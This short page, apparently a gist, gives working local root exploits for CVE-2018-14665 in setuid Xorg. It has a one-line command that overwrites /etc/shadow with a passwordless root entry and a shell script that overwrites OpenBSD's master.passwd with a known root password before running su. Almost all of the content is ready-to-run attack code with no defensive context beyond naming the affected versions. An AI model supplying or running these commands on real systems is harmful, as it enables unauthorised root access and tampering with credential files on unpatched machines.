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955 B
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29 lines
No EOL
955 B
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#CVE-2018-14665 - a LPE exploit via http://X.org fits in a tweet
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cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
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Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.
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#!/bin/sh
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# local privilege escalation in X11 currently
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# unpatched in OpenBSD 6.4 stable - exploit
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# uses cve-2018-14665 to overwrite files as root.
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# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
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# and vulnerable in default OpenBSD.
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#
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# - https://hacker.house
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echo [+] OpenBSD 6.4-stable local root exploit
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cd /etc
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Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
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sleep 5
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pkill Xorg
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echo [-] dont forget to mv and chmod /etc/master.passwd.old back
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echo [+] type 'Password1' and hit enter for root
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su -
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EBB Note ~ Another version of it: https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850 |